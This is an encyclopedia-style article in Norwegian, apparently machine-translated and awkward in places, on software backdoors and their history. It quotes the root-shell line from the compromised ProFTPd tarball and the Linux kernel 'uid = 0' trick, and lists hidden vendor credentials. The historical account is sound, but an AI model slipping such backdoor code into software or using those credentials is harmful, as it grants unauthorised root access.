I programvare er en bakdør (den engelske bakdøren , bokstavelig talt. "Bakdør") en ukjent funksjon av den legitime brukeren, som gir tilgang til en hemmelig programvare.
Å introdusere en bakdør i programvare uten brukerens kunnskap gjør programvaren til en trojansk hest .
En bakdør kan innføres enten ved programvareutvikler eller av en tredjepart. Alle med kunnskap om bakdøren kan bruke den til å overvåke programvareaktivitet og til og med ta kontroll over den (omgå autentisering ). Til slutt, avhengig av omfanget av rettighetene som operativsystemet gir til programvaren som inneholder bakdøren, kan kontrollen omfatte alle operasjonene til enheten som kjører programvaren ( datamaskin , smarttelefon , overvåkingsenhet, etc. tilkoblede objekter, etc.) .
Det utbredte nettverket av tilkoblede enheter og datamaskiner gjør bakdører mye mer nyttige enn når fysisk tilgang til datamaskinen var regelen.
Blant motivasjonene som leder programvareutviklere for å lage bakdører, er:
Blant motivasjonene som fører hackere til å installere en bakdør:
For å installere bakdører i massevis, bruker hackere ormer . Disse spres automatisk og installerer en datamaskinserver på hver infiserte maskin. Da kan hackeren koble seg via Internett til serveren.
En bakdør kan også settes inn ved hjelp av påskeegg , kompilator (se avsnittet nedenfor . Unix C-kompilatoren: Trusting Trust ), eller kan ha form av et program, som Back Orifice .
I 1983 beskrev den amerikanske informatikeren Kenneth Thompson i sin Turing-forelesning med tittelen Reflections on Trusting Trust og bildeteksten:
“I hvilken grad skal man stole på en påstand om at et program er fri for trojanske hester? Kanskje er det viktigere å stole på menneskene som skrev programvaren. "med andre ord :
"Hvor mye kan vi tro at et program er gratis fra trojanske hester?" Det er sannsynligvis viktigere å tro på menneskene som skrev programvaren. " ,hvordan det hadde vært mulig å sette inn en bakdør i alle C- programmer samlet på Unix . Siden de oppdaterte versjonene av denne kompilatoren , som ikke er annet enn et annet kompilert program, er samlet fra den eksisterende C-kompilatoren, ville bakdørinnsettelsesalgoritmen ha gått galt. Videresend fra en oppdatering til en annen. Så hvis denne bakdørkompilatoren hadde blitt "sluppet ut i naturen" (på engelsk : utgitt i naturen ) i begynnelsen, ville enhver C-kompilator sette inn bakdører muligens i dag.
Merk at bakdøren i alle kompilerte C-programmer aldri ville vises i C- kildekode .
Begrepet tillit (for tillit ) kommer av det faktum at den opprinnelige C-kompilatoren anses av sluttbrukeren som en svart boks pålitelig.
For en programmerer som ikke forstår hvordan en slik kompilator fungerer , men stoler på det, ville det være vanskelig å tenke at et program , som han selv skrev og deretter kompilerte, inneholder en bakdør.
De 16. februar 2012, en hemmelig nøkkel for å autentisere som root (administrator) på flertallet av enhetene som selges av F5 har blitt avslørt. Feilen ble rettet av selgeren den6. juni 2012. Denne nøkkelen er tilstede på alle sårbare enheter, feilen fikk en Pwnie Award (in) under BlackHat USA 2012 .
De 13. desember 2010, ble det funnet en skjult konto i lagringssystemet HP StorageWorks P2000 G3: brukernavnet "admin" og passordet "! admin" lar deg identifisere deg med maksimale rettigheter. Det er ikke mulig å slette denne kontoen, på den annen side er det mulig å endre passordet ved hjelp av kommandolinjen (“ set password admin password ... ” -kommandoen ).
De 28. november 2010, tarball for den nyeste versjonen (1.3.3c) av ProFTPd FTP- serveren er erstattet av en versjon som inneholder en bakdør på den offisielle FTP-serveren til prosjektet. Bakdøren legger til en "HELP ACIDBITCHEZ" -kommando som åpner et skall som rotbruker . Tarballen ble forplantet på alle de offisielle speilene . Kompromisset ble oppdaget den1 st desember 2010, og korrigert på 2. desember. Spesielt la bakdøren til følgende linje i src / help.c-filen:
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }Angriperen brøt seg inn i FTP-serveren ved hjelp av en feil i PostgreSQL SQL-modulen som tillater ekstern kjøring av kode. Denne feilen ble lagt ut den17. november 2010i nummer 67 av magasinet Phrack . Feilen er rettet av versjon 1.3.3d av ProFTPd.
Tre kontoer er blitt oppdaget i et Cisco videokonferansesystem , Cisco Unified Videoconferencing (UVC), System 5110 og 5115-modeller, ved bruk av Linux- operativsystemet . Det var Florent Daigniere som oppdaget disse kontoene under en revisjon, og han la dem ut på fullstendig postliste på17. november 2010. Cisco ga ut en sikkerhetsbulletin samme dag. Dette er "root", "cs" og "develop" -kontoer som ikke kan endres eller slettes. De tillater ekstern tilgang via FTP- og SSH-protokollene . Andre feil ble oppdaget under denne tilsynet.
De 4. november 2003, ble en bakdør introdusert i Linux-kjernen direkte på CVS- serveren av en angriper som poserte som David S. Miller (kjerneutvikler). Det ble oppdaget dagen etter. CVS-serveren var et speil av det offisielle depotet ved hjelp av BitKeeper . Bakdøren er podet veldig syntetisk, den består av to linjer med C-språk , lagt til sys_wait4- funksjonen til "kernel / exit.c" -filen:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;Tilstanden (current->uid = 0)skal leses av en spesielt naiv leser som en sammenligning "hvis prosessbrukernummeret er 0 (root)", men faktisk i C betyr tildelingen "prosessbrukernummeret blir 0 (root)". Resultatet er at hvis denne riggede sys_wait4 () -funksjonen ble kalt med __WCLONE | __WALL-parametrene, antok prosessen identiteten til roten, brukernivået med full tilgangsrettigheter.
Denne modifikasjonen tok sikte på å dra nytte av forvirringen mellom forskjellige programmeringsspråk, der symbolet for sammenligningen av to verdier er tegnet = (Pascal, Ada, ML ...) og andre der det er dobbelt likhet ==som spiller dette rolle (C, C ++, Java ...), tegnet = betyr deretter en tildeling av en verdi til en variabel . Denne endringen var usannsynlig å gå ubemerket hen, da denne typen feil knapt er kompatibel med datamaskinnivået til programmerere som jobber med Linux-kjernen. C-språket er det programmeringsspråket som er mest brukt på systemene til Unix-familien, og svært få ikke-nybegynnere har latt seg ta.
I tillegg krever den kollektive programvareutviklingsprosessen (spesielt gratis programvare) at hver modifisering skal valideres; det må ha en legitim begrunnelse for dette. Dermed vises enhver endring, uansett hvor liten, i diff og reiser legitime spørsmål hvis den ikke har en klar begrunnelse.
_NSAKEY er navnet på en variabel som ble oppdaget i august 1999 i operativsystemet Windows NT 4 (SP5) for Microsoft . Denne versjonen ble utgitt uten at feilsøkingsinformasjonen ble fjernet. Variabelen oppdaget av Andrew D. Fernandes fra Cryptonym Corporation inneholdt en 1024- bit offentlig nøkkel . Nyhetene utløste et offentlig skrik og fremveksten av forskjellige rykter om en mulig regjeringskonspirasjon. Hvis NSA virkelig hadde hatt den hemmelige nøkkelen som tilsvarer nøkkelen i Windows NT, ville det vært mulig å kryptere data som kommer fra brukere, og med Microsofts medvirkning, å gjenopprette denne informasjonen.
En bakdør ble oppdaget i Interbase database management system på10. januar 2001, når kildekoden åpnes av forlaget Borland . Det var nok å skrive inn brukernavnet "politisk" og passordet "korrekt" ( politisk korrekt , bokstavelig talt " politisk korrekt " på fransk) for å koble til som administrator. Denne bakdøren ble introdusert mellom 1992 og 1994. Da denne kontoen ikke kan endres eller slettes, var det derfor nødvendig å installere en ny versjon av Interbase som ikke inneholdt denne skjulte kontoen.
Den BIOS fra noen produsenter (de viktigste to, AMI og AWARD ) har en skjult passord for å få tilgang til BIOS selv om beskyttet av et passord valgt av brukeren. Det skjulte passordet avhenger av BIOS-modellen.
I følgende tilfeller introduserte en modifisering av programvare et sikkerhetsproblem, uten at forfatteren av modifikasjonen hadde gjort det med vilje. Forfatteren hadde ikke ferdighetene til å vurdere at modifiseringen hans kunne innføre et sikkerhetsproblem, eller enklere tenkte han ikke på hvilken innvirkning det kunne ha på produktets sikkerhet.
De 17. september 2006, ble et sikkerhetsproblem utilsiktet introdusert i Debian- versjonen av OpenSSL- biblioteket . Det var vedlikeholderen av OpenSSL-pakken, Kurt Roeckx, som introduserte2. mai 2006en sikkerhetsfeil i OpenSSL som prøver å fikse en advarsel fra Valgrind- verktøyet , som faktisk var falskt positivt. Det faktum at endringen innførte et sikkerhetsproblem er utilsiktet: Kurt Roeckx kontaktet utviklerne av OpenSSL for råd, men forvirring fulgte. Den første sårbare versjonen, 0.9.8c-1, ble lastet ned i den ustabile distribusjonen den17. september 2006. Feilen ble funnet iMai 2008 og korrigert på 13. mai 2008.
Endringen til OpenSSL reduserte entropien til tilfeldig tallgenerator til bare 15 biter: bare prosessidentifikatoren (PID) ble brukt. En identifikator kan ha en verdi mellom 1 og PID_MAX (32768), som bare gir 32767 mulige frø. På nivået med krypteringsnøklene er det tre ganger mer, 98.301, fordi genereringen av nøklene avhenger av arkitekturen, og i dette tilfellet tre forskjellige arkitekturer spiller inn (liten endian 32 bits, little-endian 64 bits og 32-bit big-endian).
Installasjonsprogrammet for Ubuntu- operativsystemet , i versjon 5.10 (Breezy Badger, utgitt den13. oktober 2005) skrev bare root-brukerpassordet til flere loggfiler som kan leses av enhver bruker. Feilen ble funnet av Karl Øie den12. mars 2006, deretter korrigert samme dag. Denne feilen tillater en lokal bruker å heve sine privilegier . Det er mer sannsynlig at dette er et tilsyn av installatørens programmerere enn et bevisst innført sikkerhetsbrudd.
Scenariet til den amerikanske filmen WarGames er avhengig av en bakdør. Designeren av et militært datasystem setter inn en bakdør i form av et papirløst passord som gir tilgang til det. Dette passordet gir også tilgang til udokumenterte funksjonaliteten i programmet, noe som gjør våpenstyringssystemet ser ut som en krigssimulering video spill.
I filmen Tron: The Legacy Sam Flynn bryter inn i rutenettet ved hjelp av en bakdør- ID .
I Person of Interest-serien tillater en bakdør som er implantert i et statlig eid masseovervåkningssystem kalt Maskinen to menn å bruke det skjult.
I videospillet Watch Dogs 2 injiserer Marcus Holloway en bakdør i CtOS 2.0.